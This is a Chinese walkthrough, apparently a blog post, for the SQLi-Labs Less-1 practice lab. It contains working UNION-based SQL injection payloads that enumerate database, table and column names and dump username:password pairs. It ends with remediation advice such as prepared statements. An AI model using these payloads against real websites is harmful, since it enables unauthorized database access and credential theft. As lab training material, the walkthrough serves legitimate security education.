SQLi-Labs Less-1 通关教程

SQLi-Labs Less-1 通关教程

一、关卡核心信息

  • 漏洞类型:GET型单引号字符型SQL注入
  • 核心场景 :通过URL参数传递的id值未做过滤,可构造恶意SQL语句获取数据库信息
  • 前置条件:已搭建SQLi-Labs靶场(PHP+MySQL环境,如phpStudy、XAMPP)
  • 工具准备:浏览器(Chrome/Firefox)、Burp Suite(可选,抓包辅助)

二、通关步骤

步骤1:判断注入类型与闭合方式

  1. 访问Less-1关卡地址:http://[靶场IP]/sqli-labs/Less-1/?id=1
    • 正常回显:页面显示Your Login name:Dumb和Your Password:Dumb,说明id=1的查询结果正常返回。
  2. 构造测试语句,判断闭合方式:
    • 输入:http://[靶场IP]/sqli-labs/Less-1/?id=1'
    • 回显结果:出现MySQL语法错误You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1。
    • 关键分析:错误提示中出现'1'',说明传入的1'被拼接成了WHERE id='1'',单引号未被过滤,且原SQL语句用单引号包裹参数 ,确认是单引号字符型注入。
  3. 验证闭合有效性:
    • 输入:http://[靶场IP]/sqli-labs/Less-1/?id=1'--+
    • 说明:--+是SQL注释符(+在URL中等效于空格),作用是注释掉后面的多余单引号,使SQL语句恢复正常。
    • 回显结果:页面恢复正常显示,验证闭合方式正确。

步骤2:查询数据库基本信息(联合查询注入)

核心原理:利用UNION SELECT联合查询,拼接恶意SQL语句,读取数据库隐藏信息。

  1. 确定查询字段数(判断原SQL语句SELECT后的字段数量):
    • 输入:http://[靶场IP]/sqli-labs/Less-1/?id=1' order by 3 --+
      • 回显正常:说明原查询有3个字段。
    • 若输入order by 4,会报错,进一步验证字段数为3。
  2. 构造联合查询,查看回显位置:
    • 输入:http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
      • 说明:将id改为-1,让原查询无结果,强制显示联合查询的内容;1,2,3为占位符,测试哪些位置会在页面回显。
      • 回显结果:页面显示2和3,说明第2、3字段是可回显的位置,后续可替换为查询语句。

步骤3:获取数据库核心信息

(1)查询当前数据库名
  • 输入Payload:

    复制代码
    http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,database(),user() --+
  • 回显结果:database()会显示当前数据库名(默认是security),user()显示数据库连接用户(如root@localhost)。

(2)查询数据库中的表名
  • 输入Payload:

    复制代码
    http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
  • 关键说明:

    • information_schema.tables:MySQL系统表,存储所有数据库的表信息;
    • table_schema='security':限定查询security数据库下的表;
    • group_concat():将多个表名拼接成一行显示,避免分页。
  • 回显结果:可看到security数据库下的表(如users、emails、uagents等),核心目标表为users(存储账号密码)。

(3)查询users表的字段名
  • 输入Payload:

    复制代码
    http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
  • 回显结果:显示users表的字段(如id、username、password)。

(4)查询users表中的账号密码
  • 输入Payload:

    复制代码
    http://[靶场IP]/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username,':',password),3 from security.users --+
  • 回显结果:显示所有用户的账号密码(如Dumb:Dumb、admin:admin、test:test等),完成核心数据窃取。

步骤4:通关验证与总结

  • 核心成果:通过构造合法的SQL注入语句,从无权限状态获取到数据库名、表名、字段名、用户凭证等敏感信息;
  • 漏洞本质:后端代码未对用户输入的id参数做过滤/转义,直接拼接进SQL语句执行,导致注入漏洞;
  • 修复建议:
    1. 对用户输入进行严格过滤(如过滤单引号、注释符等);
    2. 使用预编译语句(Prepared Statement),避免SQL语句拼接;
    3. 限制数据库账号的查询权限,禁止前端账号访问information_schema系统表。

三、关键知识点梳理

  1. 字符型注入与数字型注入的区别 :
    • 字符型:参数被单/双引号包裹,需先闭合引号再构造语句;
    • 数字型:参数无引号包裹,可直接拼接union select。
  2. URL编码注意事项 :
    • 空格在URL中可替换为+或%20;
    • 特殊字符(如&、=)需编码,避免截断参数。
  3. 注释符的使用 :
    • --+、#(URL中需写为%23)均可注释后续SQL语句,优先用--+适配更多场景。

四、实操截图标注建议(图文并茂适配)

  1. 截图1:正常访问id=1的页面,标注"正常回显状态";
  2. 截图2:输入id=1'的报错页面,标注"单引号触发语法错误,确认字符型注入";
  3. 截图3:联合查询显示数据库名的页面,标注"核心Payload与回显结果";
  4. 截图4:获取users表账号密码的最终页面,标注"敏感数据泄露成果"。

总结

Less-1作为SQLi-Labs的入门关卡,核心考察单引号字符型联合查询注入 的基础逻辑。通关关键在于:先判断注入类型与闭合方式,再通过order by确定字段数,最后利用union select逐层查询数据库、表、字段、数据。掌握该关卡的思路后,可快速迁移到其他字符型注入场景,是SQL注入入门的核心基础。

相关推荐
白帽攻防录6 小时前
SRC 挖洞:PostScript 打印机驱动双 RCE,打印服务器怎么变成内网跳板
开发语言·网络安全·php·内网安全
土豆.exe7 小时前
nf_tables 的 verdict 被读了两次:一个十年未闭合的位域错配
java·数据库·网络安全·缓存
FairGuard手游加固8 小时前
手游加固怎么做?SO、IL2CPP、AssetBundle 与运行时保护详解
安全·游戏·unity
学逆向的8 小时前
C 循环结构的执行效率分析
c语言·开发语言·数据结构·网络安全
迪康妍妍8 小时前
终端管控实操:封堵网盘与IM外发通道的落地思路
运维·网络·安全·架构·安全性测试
kunicoding9 小时前
多线程编程核心概念详解:从线程基础到并发安全
java·jvm·安全
FinelyYang9 小时前
JeecgBoot + EuroOffice 协同文档在线编辑全栈接入指南(支持 JWT 安全校验)
安全
舰长1159 小时前
curl发布8.23.0修复24个漏洞
安全
迪康Defender11 小时前
终端安全运维:浅谈迪康端点安全一体化管理系统工具箱实用能力
运维·安全·信息可视化·自动化·运维开发·学习方法·远程工作
嘟哩DuliDuli12 小时前
AI创作工作区的项目上下文与多模态任务边界
android·人工智能·安全·ai·软件工程